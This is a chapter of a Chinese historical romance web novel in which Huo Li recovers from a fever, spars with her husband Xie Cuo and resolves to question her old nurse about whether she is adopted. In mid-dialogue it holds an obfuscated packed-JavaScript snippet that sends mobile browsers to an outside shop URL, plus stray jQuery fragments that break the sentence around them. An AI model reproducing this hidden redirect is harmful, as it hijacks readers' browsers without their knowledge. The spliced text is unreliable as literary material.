霍离感觉自己仿佛被困在梦魇之中,想要挣脱却挣脱不开,越想抓住越什么都抓不住。
骤然间,她的手碰到了什么东西,便拼了命地抓住,想要从中汲取一些温度。
“姑娘,姑娘?”
霍离睁开眼,海棠正趴在床榻边用干净的帕子擦拭她额间的冷汗,见她醒了喜极而泣。
“姑娘,你终于醒了,吓死奴婢了。”
霍离伸手拭去海棠脸上的泪珠,有些虚弱地笑了笑:“别哭,我没事。”
霍离还没完全清醒,太阳穴隐隐作痛,她缓了片刻才缓过神来,回想起昨日发生的事。
她是在放生池被廖云衫推下水的,后来谢磪把她抱出宫门上了马车,再然后的事……她不管如何努力去想都想不起来了。不过想来是谢磪把她带回了府中。
想到此处,霍离下意识地往外望了望,却没看见人影。
“他人呢?”
海棠抹了抹眼泪,声音尚且有些哽咽:“姑娘是问主君吗?今日没见到主君,许是有事出府去了。”
霍离想来也是,谢磪这样的大人物定然很忙,在府中停留的时间不多。
不过有些事她还是要问清楚。
霍离喝了杯温水润润喉,觉得身子都清爽了不少:“昨日是他带我回来的?”
海棠想都没想就点了点头:“是,昨日我见姑娘去了好久都不曾回来心里总是放不下便在门口等,就看见主君抱着昏昏沉沉的姑娘下了马车,把奴婢吓得够呛!”
她又欠了他一个人情。霍离不禁头大,但心情却略有些复杂。
“后来呢?”
“后来……主君让奴婢去叫了大夫,大夫说姑娘是得了风寒才发烧的。”海棠想了想,“主君坐了片刻才走的。”
霍离沉吟片刻,突然想起什么,挣扎着想要起身,却听到熟悉的声音。
“不是让你好好躺着吗?”
男人语气生硬,冷得骇人,霍离双腿一软又跌了回去,抬头往门口的方向望去。
谢磪推开门走了进来,目光与她相接。他的气势太足,一点点把她的勇气压了下去,直到她觉得喘不过气来,率先移开了目光。
“乱动什么?”
谢磪长腿一迈坐在她床边,海棠很有眼力见地自己退了出去,带上了门。
“我……”霍离被这双桃花眼盯得有些心慌,只好如实交代,“我想起今日是归宁的日子,应当准备准备。”
“就你现在这样还想着归宁?”
霍离被谢磪的话噎住,竟再说不出一个字。
她也知道自己现在身子有些使不上力,但归宁毕竟是规矩,她就算再不喜霍府也不好破了这个先例,毕竟她不能自己送把柄到霍严和焦玉茹手中吧。
谢磪垂眸看她,似乎早就把她心中的那点小九九看穿。
他方才进来时竟没注意到霍离从床上坐起只穿着一件素色中衣,中衣轻薄,又因染了薄汗更加贴身,此刻竟隐约透着几分淡淡的颜.色。
他想都没想便用被褥把她裹紧。
霍离还没弄清楚状况就被被褥蒙了一头,她有些气恼地探出头,纤弱的身体却还被裹在被褥里,活像个探出头的小刺猬。
“我已和霍大人说过你身子不适,是以归宁推后几日也无妨。”
霍离怔了怔,回想起方才海棠说的谢磪出府之事,如今想来竟是他去了霍府说清了事情缘由。
他心细如发,早就想到了她的顾虑,甚至早就找到了解决之法。
谢磪见她一直盯着自己看,微微挑眉:“怎么?现在觉得我是个好夫君了?”
霍离内心刚萌生的一点感动又被这冷水迎头浇灭,她没忍住白了他一眼:“你脸皮真厚。”
不是好夫君,但勉强算是及格的盟友。
心中的念头一出,就连霍离都被自己吓住。谢磪玲珑心思,雷霆手段,可不是她能受.得住的,她不能被外表迷惑,他一定有别的目的,离他远些才是正道。
谢磪嘴角微微抽搐,没再说话。他突然不动声色地背过身,轻咳了一声。
虽然声音很轻,但却被霍离察觉到。
“你怎么了?”她试探性地问了一句。
谢磪转过身来,已是一副若无其事的模样:“无事。”
霍离仔细打量了一下谢磪,这才发现他脸色似有些不好,在深色长袍的衬托下显得愈发苍白,嘴唇亦有些皲裂。
霍离莫名觉得有些愧疚,或许是他昨日把自己的大氅给她穿得太少受了凉,又或许是她不知不觉把风寒传给了他,总之的确是她的过错。
“你是不是也染了风寒?让海棠再煎一份汤药吧。”
“不必,我说了无事。”
谢磪的语气依旧有些生硬,霍离劝他无果也懒得再多费口舌,只道:“昨日你终究替我解了困,谢谢。”
谢磪似是听到了什么稀奇的事,俯身看她:“夫人方才说什么?我没听清。”
如此近的距离,她说话声音也不轻,谢磪绝无可能没有听清,他又在逗她。
但霍离看到他略显苍白的脸庞,终究还是愧疚占了上风,对上他的目光,字字句句道:“我说,谢谢你。”
“欠你的人情我会记在心里,将来会想办法还你。”
一双杏眼泛着光亮,似微风拂过湖面泛起的粼粼波光,亮得不容忽视。
谢磪勾了勾唇:“那便好,我也不想被平白无故占了便宜。”
占了便宜?霍离压根不明白他在说什么,秀眉微蹙,似在思索。
他却突然箍住她的手腕,顺势将手放在自己腰间。男人的温度透过面料从指尖传来,霍离的脸倏然红了。
她挣扎着要抽回手,他却将她的手按得更紧。霍离心中再无半点盘算,只剩慌乱与恼怒,还有一缕就连她自己都不曾发现的羞涩。
“你干什么?”霍离忍无可忍。
“干什么?”谢磪却似乎早就猜到他如此反应,不疾不徐地靠近,“这句话不该我问夫人吗?”
霍离再次摸不着头绪。
“什么意思?”
“我在帮夫人回忆。”谢磪声音暗哑,目光在她脸上流连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748294|209368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“昨日夫人在睡梦中可是抱着我不撒手,夫人说我该不该讨回来?”
声声入耳,霍离关于昨日的画面在脑海中逐渐清晰。她昏昏沉沉的时候抱住了什么东西,按照谢磪的说法,她竟然……不知死活地抱住了他的腰!
还是以如此暧昧的姿势。
谢磪见她脸色一阵红一阵白便知晓她想起来了,良心发现似的松开她的手,她逃也似的缩了回去。
“现在夫人还觉得我在胡诌吗?”
既然事情已经发生了,她也只能硬着头皮接受了。只不过霍离只要想象她抱着谢磪的画面脸上的温度便散不去,她咬了咬牙,粲然一笑。
“昨日我昏昏沉沉的,做的事当不得真的,夫君莫要与我计较了。”
说完,她还撒娇似的伸手摇了摇他的衣袖。
经过这几日的相处,她猜到服软在谢磪面前是受用的,是以她才敢这么做。
果然,谢磪听了这话嘴角勾起一分讥笑,似乎没打算继续深究。
“既如此,夫人好生将养。”
谢磪旋即起了身从新房离开,离开时步子都比来时轻快了几分。
待人影离开视线,霍离提到嗓子眼的心脏终于归位,往后一仰躺倒在床榻上,阖上眼眸。
之后一连三日霍离都在府中养病不曾外出,海棠每日都会从膳房端来她爱吃的菜肴,都说美食能解千愁,霍离吃了果然没先前那般愁了。
毕竟事已至此愁也无用,只能走一步看一步。
不过这三日霍离都没见到谢磪的影子,问起下人下人只说谢磪有事处理不在府中,霍离便也没再多问。其实谢磪不在,她反倒自在些,无需每一步小心谨慎了。
闲暇时候,霍离想起了一件事,一件萦在她心头久久不散之事。
当时离开霍府时走得仓促,她尚且来不及多问赵嬷嬷一句,如今倒是想起来了。
那是大约两个月前,她因为打碎了焦玉茹喜爱的琉璃盏被罚在祠堂里跪了五日。焦玉茹起先下令不许任何人给她送吃食,后来见她快要撑不下去了才大发慈悲允许赵嬷嬷给她送些薄粥。
就是一次赵嬷嬷离开祠堂遇到了熟人,她跪在祠堂里隐隐约约听到了二人的对话。
因为隔得有些远,很多话霍离尚且没有听清,但她模模糊糊听到了“并非亲生”四个字。
就是这四个字如醍醐灌顶,引发了霍离的猜想。
没有父母不爱自己的孩子,除非这孩子并非亲生。
她曾无数次在心中叩问为何霍严与焦玉茹对自己这般薄情,她明明是霍府的嫡长女,在世人眼中是比霍蕊和霍池更尊贵的存在。为何霍蕊和霍池活得快活自在,而她却步履维艰,如履薄冰。
她曾经找不到答案。
但倏然之间,她好像抓住了线团的一角。虽然只有一点兆头,但若继续牵丝引线,也会离她想要找的真相更近几分。
不论真相与否,她都要找赵嬷嬷问个清楚,总不能不明不白地活着。
此次归宁,对霍离来说,便是一个绝佳的机会,她不能放过。